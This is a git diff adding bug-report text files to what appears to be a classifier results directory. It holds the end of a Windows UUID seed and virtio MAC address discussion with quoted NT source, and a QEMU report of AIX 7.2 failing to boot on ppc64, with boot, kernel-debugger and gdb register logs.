ExReleaseFastMutexUnsafe(&ExpUuidLock); + KeLeaveCriticalRegionThread(CurrentThread); + + // + // Attempt to store the result of this call into the output parameters. + // This is done within an exception handler in case output parameters + // are now invalid. + // + + try { + Time->QuadPart = OutputTime.QuadPart; + *Range = OutputRange; + *Sequence = OutputSequence; + RtlCopyMemory((PVOID) Seed, &ExpUuidCachedValues.NodeId[0], SEED_SIZE); + } except (ExSystemExceptionFilter()) { + return GetExceptionCode(); + } + + return(STATUS_SUCCESS); +} + + +NTSTATUS +NtSetUuidSeed ( + IN PCHAR Seed + ) +/*++ + +Routine Description: + + This routine is used to set the seed used for UUID generation. The seed + will be set by RPCSS at startup and each time a card is replaced. + +Arguments: + + Seed - Pointer to a six byte buffer + +Return Value: + + STATUS_SUCCESS is returned if the service is successfully executed. + + STATUS_ACCESS_DENIED If caller doesn't have the permissions to make this call. + You need to be logged on as Local System in order to call this API. + + STATUS_ACCESS_VIOLATION is returned if the Seed could not be read. + +--*/ +{ + NTSTATUS Status; + LUID AuthenticationId; + SECURITY_SUBJECT_CONTEXT SubjectContext; + LUID SystemLuid = SYSTEM_LUID; + BOOLEAN CapturedSubjectContext = FALSE; + + PAGED_CODE(); + + ASSERT(KeGetPreviousMode() != KernelMode); + + try { + // + // Check if the caller has the appropriate permission + // + SeCaptureSubjectContext(&SubjectContext); + CapturedSubjectContext = TRUE; + + Status = SeQueryAuthenticationIdToken( + SeQuerySubjectContextToken(&SubjectContext), + &AuthenticationId); + if (!NT_SUCCESS(Status)) { + ExRaiseStatus(Status); + } + + if (RtlCompareMemory(&AuthenticationId, &SystemLuid, sizeof(LUID)) != sizeof(LUID)) { + ExRaiseStatus(STATUS_ACCESS_DENIED); + } + + // + // Store the UUID seed + // + ProbeForReadSmallStructure(Seed, SEED_SIZE, sizeof(CHAR)); + RtlCopyMemory(&ExpUuidCachedValues.NodeId[0], Seed, SEED_SIZE); + + if ((Seed[0] & 0x80) == 0) + { + // If the high bit is not set the NodeId is a valid IEEE 802 + // address and should be globally unique. + ExpUuidCacheValid = CACHE_VALID; + } + else + { + ExpUuidCacheValid = CACHE_LOCAL_ONLY; + } + + Status = STATUS_SUCCESS; + } + except (EXCEPTION_EXECUTE_HANDLER) { + Status = GetExceptionCode(); + } + + if (CapturedSubjectContext) { + SeReleaseSubjectContext( &SubjectContext ); + } + + return Status; +} + + + +start.cxx: + +https://github.com/tongzx/nt5src/blob/daad8a087a4e75422ec96b7911f1df4669989611/Source/XPSP1/NT/com/ole32/dcomss/wrapper/start.cxx#L282C23-L282C41 + +/*++ + +Copyright (c) 1995 Microsoft Corporation + +Module Name: + + Start.c + +Abstract: + + Process init and service controller interaction for dcomss.exe + +Author: + + Mario Goertzel [MarioGo] + +Revision History: + + MarioGo 06-14-95 Cloned from the old endpoint mapper. + MazharM 10-12.98 Add pnp stuff + TarunA 12-11-98 Removed pnpmngr.h + a-sergiv 25-08-99 Defined gC2Security for process-wide use + +--*/ +DealWithDeviceEvent() +/*++ +Function Name: DealWithDeviceEvent + +Parameters: + +Description: + +Returns: + +--*/ +{ + UCHAR MacAddress[8]; + NTSTATUS NtStatus; + + if (getMacAddress(&MacAddress[0])) + { + NtStatus = NtSetUuidSeed((PCHAR) &MacAddress[0]); + } + else + { + CookupNodeId(&MacAddress[0]); + + ASSERT(MacAddress[0] & 0x80); + + NtStatus = NtSetUuidSeed((PCHAR) &MacAddress[0]); + } + + if (!NT_SUCCESS(NtStatus)) + { + #if DBG + DbgPrint("NtSetUuidSeed failed\n", NtStatus); + #endif + } + +#if !defined(SPX_IPX_OFF) + UpdateSap( SAP_CTRL_UPDATE_ADDRESS ); +#endif +} + + +getMacAddress ( + PUCHAR pMacAddress + ) +/*++ +Function Name:getMacAddress + +Parameters: + +Description: + +Returns: + +--*/ +{ + int i; + UINT fStatus; + int Size = 1024*5; + PNDIS_ENUM_INTF Interfaces; + UCHAR OidVendData[16]; + + Interfaces = (PNDIS_ENUM_INTF) I_RpcAllocate (Size); + if (Interfaces == 0) + { + return FALSE; + } + + if (NdisEnumerateInterfaces(Interfaces, Size)) + { + UINT i; + + for (i = 0; i < Interfaces->TotalInterfaces; i++) + { + PUNICODE_STRING pDeviceName= &(Interfaces->Interface[i].DeviceName); + UCHAR PermMacAddr[6]; + + fStatus = NdisQueryHwAddress(pDeviceName, pMacAddress, PermMacAddr, &OidVendData[0]); + if (fStatus && (OidVendData[0] != 0xFF + || OidVendData[1] != 0xFF + || OidVendData[2] != 0xFF)) + { + I_RpcFree (Interfaces); + + return TRUE; + } + } + } + + I_RpcFree (Interfaces); + + return FALSE; +} + +As we can see in DealWithDeviceEvent() which is realted to UuidCreateSequential(it use the seed as the last 48 bits of uuid), the it calls getMacAddress to obtain MAC address. If OidVendorData's first 6 bytes is 0xff, the function will fail, casing a random value generated rather than the mac of our adapter. So I guess its related to the virtio implementation. But I can't identify where the OidVendData is defined. So I think I should file an issue to virtio dev teams too. + +For those encountered this problem: +This is not a bug. Instead, it is the exepected behaviour. +Refer to: +https://github.com/virtio-win/kvm-guest-drivers-windows/issues/1017 + diff --git a/results/classifier/deepseek-1/output/community./1829682 b/results/classifier/deepseek-1/output/community./1829682 new file mode 100644 index 00000000..77a079b5 --- /dev/null +++ b/results/classifier/deepseek-1/output/community./1829682 @@ -0,0 +1,820 @@ + +QEMU PPC SYSTEM regression - 3.1.0 and GIT - Fail to boot AIX + +Built from source on a debian system + +Linux db08 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux +gcc version 6.3.0 20170516 (Debian 6.3.0-18+deb9u1) + +Last git commit (from queued gdibson repository) + +starting AIX 7.2 TL 2 SP 2 with the following : (the install was done under qemu 3.1.0) + +qemu-system-ppc64 -M pseries \ + -cpu power7 \ + -cdrom AIX_v7.2_Install_7200-02-02-1806_DVD_1_of_2_32018.iso \ + -net nic \ + -net tap,ifname=tap2,script=no \ + -drive file=DISK1.IMG,if=none,id=drive-virtio-disk0 \ + -device virtio-scsi-pci,id=scsi -device scsi-hd,drive=drive-virtio-disk0 \ + -m 4G \ + -serial stdio \ + -monitor unix:ms,server,nowait \ + -accel tcg \ + -k fr \ + -nographic \ + -prom-env input-device=/vdevice/vty@71000000 \ + -prom-env output-device=/vdevice/vty@71000000 \ + -prom-env diag-switch?=false \ + -prom-env boot-command="boot /pci@800000020000000/scsi@2/disk@100000000000000 -s verbose" + +Yields this : + + +^M +SLOF^[[0m^[[?25l **********************************************************************^M +^[[1mQEMU Starting^M +^[[0m Build Date = Jan 14 2019 18:00:39^M + FW Version = git-a5b428e1c1eae703^M + Press "s" to enter Open Firmware.^M^M +^M^M +^[[0m^[[?25hC0000^MC0100^MC0120^MC0140^MC0200^MC0240^MC0260^MC02E0^MC0300^MC0320^MC0340^MC0360^MC0370^MC0380^MC0371^MC0372^MC0373^MC0374^MC03F0^MC0400^MC0480^MC04C0^MC04D0^MC0500^MPopulating /vdevice methods^M +Populating /vdevice/vty@71000000^M +Populating /vdevice/nvram@71000001^M +Populating /vdevice/l-lan@71000002^M +Populating /vdevice/v-scsi@71000003^M + SCSI: Looking for devices^M + 8200000000000000 CD-ROM : "QEMU QEMU CD-ROM 2.5+"^M +C05A0^MPopulating /pci@800000020000000^M + 00 0000 (D) : 1234 1111 qemu vga^M + 00 0800 (D) : 1033 0194 serial bus [ usb-xhci ]^M + 00 1000 (D) : 1af4 1004 virtio [ scsi ]^M +Populating /pci@800000020000000/scsi@2^M + SCSI: Looking for devices^M + 100000000000000 DISK : "QEMU QEMU HARDDISK 2.5+"^M +C0600^MC06C0^MC0700^MC0800^MC0880^MC0890^MC08A0^MC08A8^MInstalling QEMU fb^M +^M +^M +^M +C08B0^MScanning USB ^M + XHCI: Initializing^M + USB Keyboard ^M + USB mouse ^M +C08C0^MC08D0^MNo console specified using screen & keyboard^M +User selected input-device console: /vdevice/vty@71000000^M +User selected output-device console: /vdevice/vty@71000000^M +C08E0^MC08E8^MC08FF^M ^M + Welcome to Open Firmware^M +^M + Copyright (c) 2004, 2017 IBM Corporation All rights reserved.^M + This program and the accompanying materials are made available^M + under the terms of the BSD License available at^M + http://www.opensource.org/licenses/bsd-license.php^M +^M +^M +Trying to load: -s verbose from: /pci@800000020000000/scsi@2/disk@100000000000000 ... Successfully loaded^M +^M + ---> qemu,pseries detected <---^M +^M +^M +^M +^M +^M +^M +^M +-------------------------------------------------------------------------------^M + Welcome to AIX.^M + boot image timestamp: 05:56:13 04/20/2019^M + processor count: 1; memory size: 4096MB; kernel size: 38426884^M + boot device: /pci@800000020000000/scsi@2/disk@100000000000000^M +^M +8000FFEC bytes of free memory remain at address 7FFF0014^M +load address: 0x00004000 aixmon size: 0x000D2C00 boot image size: 0x01A6B430^M +^LAIX vm,uuid property contains invalid data^Mload address: 0x00004000 aixmon size: 0x000D2C00 boot image size: 0x01A6B430^M +^LAIX vm,uuid property contains invalid data^M +get_ppp return code: 0xFFFFFFFE^M +^M +AKVM: hcall-multi-tce detected but overridden, allow with "multce" boot argument^M +The temporary memory region list is at 1 percent capacity.^M +The temporary IPLCB is at 1 percent capacity.^M +The IPLCB address is 0x0FFF9000^M +name offset size^M +ipl_cb_and_bit_map 00000000 ......00005958^M +bit_map........... 00000790 ......00000006^M +ipl_info.......... 000001C8 ......00000024^M +splpar_info....... 000001EC ......00000048^M +system_info....... 00000234 ......000000C4^M +processor_info.... 000002F8 ......00000148^M +lpar_id_info...... 00000440 ......00000088^M +dr_proc_info...... 000004C8 ......00000008^M +dr_mem_info....... 000004D0 ......00000028^M +lpar_info......... 000004F8 ......00000014^M +segment page...... 00000518 ......00000028^M +processor page.... 00000540 ......00000010^M +res_asso_id....... 00000550 ......00000050^M +res_asso_group.... 000005A0 ......00000048^M +asso_ref_pnt...... 000005E8 ......00000010^M +residual.......... 00000820 ......00005138^M +fwad_info......... 000005F8 ......00000040^M +contig mem rsv.... 00000738 ......00000058^M + region address region length attr label^M +0 0x0000000000000000 0x000000000FFF7000 0x01 0x01^M +1 0x000000000FFF7000 0x0000000000002000 0x01 0x03^M +2 0x000000000FFF9000 0x0000000000006000 0x01 0x02^M +3 0x000000000FFFF000 0x0000000000000014 0x00 0x05^M +4 0x000000000FFFF014 0x00000000F0000FEC 0x01 0x01^M +5 0x0000000100000000 0xFFFFFFFF00000000 0x00 0x07^M +----------------------------^M +^M +0000012C bytes of free memory remain at address 00004000^M +compressed kernel addr: D6C00; sz: 98CE33; uncompressed kernel addr: 1DB59600^M + name source dest size flags^M + 0 .data 1e6f9840 2000000 12bdd20 1^M + 1 basecfg 1b04000 fff5000 15d9 1^M + 2 ramfs a63a30 efe9000 100b82a 1^M + 3 .text 1db59840 d6c00 ba0000 1^M + 4 .ldr 1f9b7560 c77000 a9523 1^M + 5 symtab 1fe0aaf4 d21000 1f4410 1^M + 6 kern. hdr 1db59600 0 240 1^M + 7 .bss 0 32bdd20 27222e0 2^M +free space between BSS and RAM filesystem: 09609000^M +^M +entry_point: 0x000D6C28^M + kernel debugger setting: enabled^M +-------------------------------------------------------------------------------^M +^LStarLED{A20}^M +Data Storage Interrupt - PROC^M +.dispatch+000098 lwz r0,1830(r6) r0=0,1830(r6)=F00000002FF48E30^M +KDB(0)> + +(apologies for all the ^M - they are emitted by qemu or AIX - not sure) + +Using the same command to boot AIX from 3.1.0 works (no DSI Interrupt). - Other problems occur later, but no Kernel interrupt, only user space problems - and that's another problem - but one at a time ! + +--Ivan + +Forgot that part (debugger output) +KDB(0)> wherre^H ^H^H ^He^M +si_pvthread+000000 STACK:^M +[0008F418]dispatch+000098 (0000000003380000, 0000000002DC3838,^M + F1000816B0036CF0 [??])^M +[00234E34]flih_util+000440 ()^M +____ Exception (02743408) ____^M +iar : 0000000000AD0088 msr : 8000000000001032 cr : 22000888^M +lr : 0000000000AD0078 ctr : 0000000000000000 xer : 00000010^M +mq : 00000000 ^M +r0 : 00000000000000C0 r1 : 0000000002E22280 r2 : 00000000032B5D20^M +r3 : 0000000000000A00 r4 : F10008008012BFF8 r5 : 0000000000000000^M +r6 : F200800011400010 r7 : 0000000000004002 r8 : 0000000000000A00^M +r9 : 0000000000000404 r10 : 0000000000000000 r11 : 0000000000000000^M +r12 : 0000000000AD0078 r13 : 00000000025933F0 r14 : 0000000000B9D470^M +r15 : F10008008012C000 r16 : F20080001143C000 r17 : 000000000003C000^M +r18 : 0000000002004324 r19 : F200800011400006 r20 : 0000000000000000^M +r21 : 0000000000000000 r22 : 0000000002004338 r23 : 0000000000000000^M +r24 : 0000000000000A00 r25 : 0000000000000002 r26 : 0000000000000E3F^M +r27 : 0000000000000001 r28 : 0000000000004002 r29 : 0000000000000000^M +r30 : 0000000000000A00 r31 : F200800011400000 ^M +^M +prev 0000000000000000 stackfix 0000000000000000 int_ticks 0000 ^M +cfar 0000000000163154 capi 0^M +(0)> more (^C to quit) ? ^H ^H^G^M +^M ^Mkjmpbuf 0000000000000000 excbranch 0000000000000000 no_pfault 00 ^M +intpri 00 backt 00 flags 00 ^M +hw_fru_id 00000000 hw_cpu_id 00000000^M +fpscr 0000000000000000 fpscrx 00000000 fpowner 00 ^M +fpeu 00 fpinfo 00 alloc F000 ^M +tmstate 00 tmcontext 00 prevowner 00 ^M +o_iar 0000000000000000 o_toc 0000000000000000 ^M +o_arg1 0000000000000000 o_vaddr 0000000000000000 ^M +krlockp 0000000000000000 rmgrwa 0000000000000000 ^M +amrstackhigh 00000000054B22B8 amrstacklow 00000000054B21B8 ^M +amrstackcur 00000000054B22B8 amrstackfix 0000000000000000 ^M +kstackhigh 0000000000000000 kstacksize 00000000 ^M +frrstart 700DFEED00000000 frrend 700DFEED00000000 ^M +frrcur 700DFEED00000000 frrstatic 0000 kjmpfrroff 0000 ^M +frrovcnt 0000 frrbarrcnt 0000 frrmask 00 callrmgr 00 ^M +Except :^M +excp_type 00000106 EXCEPT_DSI ^M + orgea F10008008012C000 dsisr 0000000040000000 bit set: DSISR_PFT^M + vmh 0000000018008400 curea F10008008012C000 pftyp 0000000000000106^M +[00AD0088]IPRA.$initxpt+0001A8 (0000000000000A00, F10008008012BFF8,^M + 0000000000000000 [??])^M +[00AD02E4]IPRA.$initxpt_vmsi+0000C4 ()^M +(0)> more (^C to quit) ? ^H ^H^G^M +^M ^M[00ACBB08]vmsi+000968 ()^M +[00AC0DF8]main+000098 ()^M +[0053A748].start1+0000B8 ()^M + + +Currently at : +QEMU emulator version 4.0.50 (v2.8.0-rc0-19525-ga4f667b671-dirty) +Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers + + +Got gdb for ppc64 to work and connect to qemu... Here is what I am getting when doing a "info all-registers" + +r0 0x0 0 +r1 0xf1000816b0036890 17365889056675948688 +r2 0x32b5d20 53173536 +r3 0x3380000 54001664 +r4 0x2dc3838 47986744 +r5 0xf1000816b0036cf0 17365889056675949808 +r6 0xf00000002ff47600 17293822569907254784 +r7 0x1007 4103 +r8 0x1000 4096 +r9 0x0 0 +r10 0x0 0 +r11 0x424d2061 1112350817 +r12 0x3282600 52962816 +r13 0x25933f0 39400432 +r14 0x2743408 41169928 +r15 0x3380000 54001664 +r16 0xf1000816b0036d00 17365889056675949824 +r17 0x36000 221184 +r18 0x2004324 33571620 +r19 0xf10008008012c000 17365888961382367232 +r20 0xf10008008 64692977672 +r21 0x0 0 +r22 0x2dc3708 47986440 +r23 0xf10008008012bff8 17365888961382367224 +r24 0x0 0 +r25 0x34e0 13536 +r26 0x0 0 +r27 0x1 1 +r28 0x0 0 +r29 0x2743408 41169928 +r30 0x2079498 34051224 +r31 0x25933f0 39400432 +f0 0 (raw 0x0000000000000000) +f1 0 (raw 0x0000000000000000) +f2 0 (raw 0x0000000000000000) +f3 0 (raw 0x0000000000000000) +f4 0 (raw 0x0000000000000000) +f5 0 (raw 0x0000000000000000) +f6 0 (raw 0x0000000000000000) +f7 0 (raw 0x0000000000000000) +f8 0 (raw 0x0000000000000000) +f9 0 (raw 0x0000000000000000) +f10 0 (raw 0x0000000000000000) +f11 0 (raw 0x0000000000000000) +f12 0 (raw 0x0000000000000000) +f13 0 (raw 0x0000000000000000) +f14 0 (raw 0x0000000000000000) +f15 0 (raw 0x0000000000000000) +f16 0 (raw 0x0000000000000000) +f17 0 (raw 0x0000000000000000) +f18 0 (raw 0x0000000000000000) +f19 0 (raw 0x0000000000000000) +f20 0 (raw 0x0000000000000000) +f21 0 (raw 0x0000000000000000) +f22 0 (raw 0x0000000000000000) +f23 0 (raw 0x0000000000000000) +f24 0 (raw 0x0000000000000000) +f25 0 (raw 0x0000000000000000) +f26 0 (raw 0x0000000000000000) +f27 0 (raw 0x0000000000000000) +f28 0 (raw 0x0000000000000000) +f29 0 (raw 0x0000000000000000) +f30 0 (raw 0x0000000000000000) +f31 0 (raw 0x0000000000000000) +pc 0x8f418 0x8f418 +msr 0x8000000000001032 9223372036854779954 +cr 0x22422280 574759552 +lr 0x234e38 0x234e38 +ctr 0x256b20 2452256 +xer 0x10 16 +fpscr 0x0 0 +vr0 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr1 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr2 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr3 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr4 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr5 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr6 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr7 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr8 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr9 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr10 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr11 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr12 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr13 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr14 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr15 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr16 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr17 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr18 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr19 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr20 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr21 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr22 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr23 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr24 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr25 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr26 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr27 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr28 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr29 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr30 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vr31 {uint128 = 0x00000000000000000000000000000000, v4_float = {0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v16_int8 = {0x0 <repeats 16 times>}} +vscr 0x10000 65536 +vrsave 0x0 0 +xer 0x0 0 +lr 0x0 0 +ctr 0x0 0 +uamr 0x0 0 +spr_dscr 0x0 0 +dsisr 0x40000000 1073741824 +dar 0xf10008008012c000 -1080855112327184384 +decr 0x0 0 +srr0 0xad0088 11337864 +srr1 0x8000000000001032 -9223372036854771662 +spr_cfar 0x0 0 +amr 0x0 0 +acop 0x0 0 +pid 0x0 0 +iamr 0x0 0 +tfhar 0x0 0 +tfiar 0x0 0 +texasr 0x0 0 +texasru 0x0 0 +spr_uctrl 0x0 0 +tidr 0x0 0 +spr_ctrl 0x1 1 +fscr 0x0 0 +uamor 0x0 0 +pspb 0x0 0 +dawr 0x0 0 +rpr 0x103070f1f3f 1112514961215 +ciabr 0x0 0 +dawrx 0x0 0 +hfscr 0x0 0 +vrsave 0x0 0 +usprg3 0x0 0 +tbl 0x0 0 +tbu 0x0 0 +sprg0 0x3380000 54001664 +sprg1 0xf1000816b0036d00 -1080855017033601792 +sprg2 0x2e22280 48374400 +sprg3 0x100000000 4294967296 +ear 0x0 0 +tbl 0x0 0 +tbu 0x0 0 +pvr 0x4e1200 5116416 +hsprg0 0x0 0 +hsprg1 0x0 0 +hdsisr 0x0 0 +hdar 0x0 0 +spurr 0x0 0 +purr 0x0 0 +hdec 0x0 0 +rmor 0x0 0 +hrmor 0x0 0 +hsrr0 0x0 0 +hsrr1 0x0 0 +mmcrh 0x0 0 +tfmr 0x0 0 +lpcr 0x403f008 67366920 +lpidr 0x0 0 +hmer 0x0 0 +hmeer 0x0 0 +pcr 0x0 0 +amor 0xffffffffffffffff -1 +tir 0x0 0 +ptcr 0x0 0 +usier 0x0 0 +ummcr2 0x0 0 +ummcra 0x0 0 +upmc1 0x0 0 +upmc2 0x0 0 +upmc3 0x0 0 +upmc4 0x0 0 +upmc5 0x0 0 +upmc6 0x0 0 +ummcr0 0x0 0 +usiar 0x0 0 +usdar 0x0 0 +ummcr1 0x0 0 +sier 0x0 0 +mmcr2 0x0 0 +mmcra 0x0 0 +pmc1 0x0 0 +pmc2 0x0 0 +pmc3 0x0 0 +pmc4 0x0 0 +pmc5 0x0 0 +pmc6 0x0 0 +mmcr0 0x0 0 +siar 0x0 0 +sdar 0x0 0 +mmcr1 0x0 0 +bescrs 0x0 0 +bescrsu 0x0 0 +bescrr 0x0 0 +bescrru 0x0 0 +ebbhr 0x0 0 +ebbrr 0x0 0 +bescr 0x0 0 +tar 0x0 0 +ic 0x0 0 +vtb 0x0 0 +mmcrc 0x0 0 +psscr 0x0 0 +tacr 0x0 0 +tcscr 0x0 0 +csigr 0x0 0 +spmc1 0x0 0 +spmc2 0x0 0 +mmcrs 0x0 0 +wort 0x0 0 +ppr 0x0 0 +tscr 0x0 0 +hid0 0x0 0 +pir 0x0 0 +dl0 0E-6176 (raw 0x00000000000000000000000000000000) +dl1 0E-6176 (raw 0x00000000000000000000000000000000) +dl2 0E-6176 (raw 0x00000000000000000000000000000000) +dl3 0E-6176 (raw 0x00000000000000000000000000000000) +dl4 0E-6176 (raw 0x00000000000000000000000000000000) +dl5 0E-6176 (raw 